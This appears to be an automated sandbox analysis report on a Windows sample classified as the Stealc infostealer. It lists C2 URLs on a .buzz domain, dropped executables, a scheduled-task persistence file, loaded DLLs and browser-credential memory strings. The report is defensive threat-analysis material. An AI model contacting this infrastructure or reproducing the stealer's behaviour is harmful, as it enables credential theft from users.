Source: ZBbOXn0a3R.exe, 00000001.00000003.2674646237.00000000054E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: ZBbOXn0a3R.exe, 00000001.00000003.2674646237.00000000054E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: ZBbOXn0a3R.exe, 00000001.00000003.2674646237.00000000054E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: ZBbOXn0a3R.exe, 00000001.00000003.2674646237.00000000054E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: ZBbOXn0a3R.exe, 00000001.00000003.2674646237.00000000054E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: ZBbOXn0a3R.exe, 00000001.00000003.2674646237.00000000054E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: ZBbOXn0a3R.exe, 00000001.00000003.2482735647.00000000054ED000.00000004.00000800.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2482825768.00000000054EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: ZBbOXn0a3R.exe, 00000001.00000003.2701685067.00000000054A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: ZBbOXn0a3R.exe, 00000001.00000003.2482735647.00000000054ED000.00000004.00000800.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2482825768.00000000054EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: ZBbOXn0a3R.exe, 00000001.00000003.2482735647.00000000054ED000.00000004.00000800.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2482825768.00000000054EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: ZBbOXn0a3R.exe, 00000001.00000003.2482735647.00000000054ED000.00000004.00000800.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2482825768.00000000054EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: ZBbOXn0a3R.exe, 00000001.00000003.2701685067.00000000054A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: ZBbOXn0a3R.exe, 00000001.00000003.2482735647.00000000054ED000.00000004.00000800.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2482825768.00000000054EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: ZBbOXn0a3R.exe, 00000001.00000003.2482735647.00000000054ED000.00000004.00000800.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2482825768.00000000054EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: ZBbOXn0a3R.exe, 00000001.00000003.2482735647.00000000054ED000.00000004.00000800.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2482825768.00000000054EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: ZBbOXn0a3R.exe, 00000001.00000003.2701685067.00000000054A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: ZBbOXn0a3R.exe, 00000001.00000003.2912712332.0000000000EA4000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2729095318.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2729751740.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2481453747.0000000000E13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/
Source: ZBbOXn0a3R.exe, 00000001.00000003.2481917195.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2481453747.0000000000E43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/5
Source: ZBbOXn0a3R.exe, 00000001.00000003.2673832624.0000000000EB7000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2675743273.0000000000EB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/720LD
Source: ZBbOXn0a3R.exe, 00000001.00000003.2673832624.0000000000EB7000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2675743273.0000000000EB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/A
Source: ZBbOXn0a3R.exe, 00000001.00000003.2729588387.0000000000EB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/G
Source: ZBbOXn0a3R.exe, 00000001.00000003.2912401012.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2912572478.0000000000E99000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2912712332.0000000000EA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/Y
Source: ZBbOXn0a3R.exe, ZBbOXn0a3R.exe, 00000001.00000003.2759212408.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2746855415.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2481917195.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2673832624.0000000000EB7000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2481453747.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2729095318.0000000000E28000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2675743273.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2729751740.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2673832624.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/api
Source: ZBbOXn0a3R.exe, 00000001.00000003.2912401012.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2912572478.0000000000E99000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2729095318.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2912712332.0000000000EA4000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2675743273.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2729840604.0000000000E9C000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2673832624.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2730150996.0000000000EA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/api3
Source: ZBbOXn0a3R.exe, 00000001.00000003.2729095318.0000000000E28000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2729751740.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apia
Source: ZBbOXn0a3R.exe, 00000001.00000003.2673832624.0000000000EB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apiice
Source: ZBbOXn0a3R.exe, 00000001.00000003.2481453747.0000000000E8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apikt
Source: ZBbOXn0a3R.exe, 00000001.00000003.2912401012.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2912572478.0000000000E99000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2729095318.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2912712332.0000000000EA4000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2729840604.0000000000E9C000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2730150996.0000000000EA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apit#?
Source: ZBbOXn0a3R.exe, 00000001.00000003.2729588387.0000000000EB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/c
Source: ZBbOXn0a3R.exe, 00000001.00000003.2481917195.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2481453747.0000000000E43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/pi
Source: ZBbOXn0a3R.exe, 00000001.00000003.2481917195.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2481453747.0000000000E43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/~
Source: ZBbOXn0a3R.exe, 00000001.00000003.2481453747.0000000000E13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz:443/api
Source: ZBbOXn0a3R.exe, 00000001.00000003.2729095318.0000000000E13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz:443/apical
Source: ZBbOXn0a3R.exe, 00000001.00000003.2676182524.00000000055C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: ZBbOXn0a3R.exe, 00000001.00000003.2676182524.00000000055C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: ZBbOXn0a3R.exe, 00000001.00000003.2482735647.00000000054ED000.00000004.00000800.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2482825768.00000000054EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: ZBbOXn0a3R.exe, 00000001.00000003.2482735647.00000000054ED000.00000004.00000800.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2482825768.00000000054EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: ZBbOXn0a3R.exe, 00000001.00000003.2675638781.00000000054DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: ZBbOXn0a3R.exe, 00000001.00000003.2675638781.00000000054DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: ZBbOXn0a3R.exe, 00000001.00000003.2676182524.00000000055C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: ZBbOXn0a3R.exe, 00000001.00000003.2676182524.00000000055C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: ZBbOXn0a3R.exe, 00000001.00000003.2676182524.00000000055C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824

Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.6:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.6:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.6:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.6:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.6:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.6:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.6:49836 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack, type: UNPACKEDPE

Matched rule: Finds Stealc standalone samples (or dumps) based on the strings Author: Sekoia.io

PE file contains section with special chars

Source: ZBbOXn0a3R.exe	Static PE information: section name:
Source: ZBbOXn0a3R.exe	Static PE information: section name: .idata
Source: ZBbOXn0a3R.exe	Static PE information: section name:
Source: VJV6IQUTCE3IBMH3UJROT.exe.1.dr	Static PE information: section name:
Source: VJV6IQUTCE3IBMH3UJROT.exe.1.dr	Static PE information: section name: .idata
Source: QA4B92LG0Q3PL6TE6NK36C44P92RH.exe.1.dr	Static PE information: section name:
Source: QA4B92LG0Q3PL6TE6NK36C44P92RH.exe.1.dr	Static PE information: section name: .idata
Source: skotes.exe.6.dr	Static PE information: section name:
Source: skotes.exe.6.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Code function: 1_3_00E9A221	1_3_00E9A221
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Code function: 1_3_00E9A221	1_3_00E9A221
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Code function: 1_3_00E9A221	1_3_00E9A221
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Code function: 1_3_00E9A221	1_3_00E9A221
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Code function: 6_2_010431A8	6_2_010431A8
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Code function: 6_2_01047049	6_2_01047049
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Code function: 6_2_01048860	6_2_01048860
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Code function: 6_2_010478BB	6_2_010478BB
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Code function: 6_2_01004B30	6_2_01004B30
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Code function: 6_2_01117B6E	6_2_01117B6E
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Code function: 6_2_01042D10	6_2_01042D10
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Code function: 6_2_01004DE0	6_2_01004DE0
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Code function: 6_2_01037F36	6_2_01037F36
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Code function: 6_2_0104779B	6_2_0104779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00798860	7_2_00798860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00797049	7_2_00797049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_007978BB	7_2_007978BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_007931A8	7_2_007931A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00754B30	7_2_00754B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00792D10	7_2_00792D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00754DE0	7_2_00754DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00787F36	7_2_00787F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_0079779B	7_2_0079779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00798860	8_2_00798860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00797049	8_2_00797049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_007978BB	8_2_007978BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_007931A8	8_2_007931A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00754B30	8_2_00754B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00792D10	8_2_00792D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00754DE0	8_2_00754DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00787F36	8_2_00787F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_0079779B	8_2_0079779B

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe D2A41394DA3C958EEECD0C43A72E5C401FD5209E462B0035BD1BA5DD9B4A6B46
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe 594242F39E0A43970C2C6B459BAADE07C3CDC8DF4DCADF89AD6166DC12D5F16C
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe D2A41394DA3C958EEECD0C43A72E5C401FD5209E462B0035BD1BA5DD9B4A6B46

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0076DF80 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 007680C0 appears 260 times
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Code function: String function: 010180C0 appears 130 times

Source: ZBbOXn0a3R.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack, type: UNPACKEDPE

Matched rule: infostealer_win_stealc_str_oct24 author = Sekoia.io, description = Finds Stealc standalone samples (or dumps) based on the strings, creation_date = 2024-10-20, classification = TLP:CLEAR, version = 1.0, id = 7448fafe-206c-4f9c-b5a3-cbabec12a45b

Source: ZBbOXn0a3R.exe	Static PE information: Section: ZLIB complexity 0.9995851205065359
Source: ZBbOXn0a3R.exe	Static PE information: Section: vpilhgjf ZLIB complexity 0.9947862332339792

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@9/4@1/4

Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\JD0M8P1J.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe

File created: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ZBbOXn0a3R.exe, 00000001.00000003.2650970610.00000000054DC000.00000004.00000800.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2483813813.00000000054BB000.00000004.00000800.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2651105628.00000000054D0000.00000004.00000800.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2483317315.00000000054D8000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: ZBbOXn0a3R.exe

ReversingLabs: Detection: 50%

Source: VJV6IQUTCE3IBMH3UJROT.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe

File read: C:\Users\user\Desktop\ZBbOXn0a3R.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\ZBbOXn0a3R.exe "C:\Users\user\Desktop\ZBbOXn0a3R.exe"
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Process created: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe "C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe"
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Process created: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe "C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe"
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Process created: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe "C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe"	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Process created: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe "C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior

Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
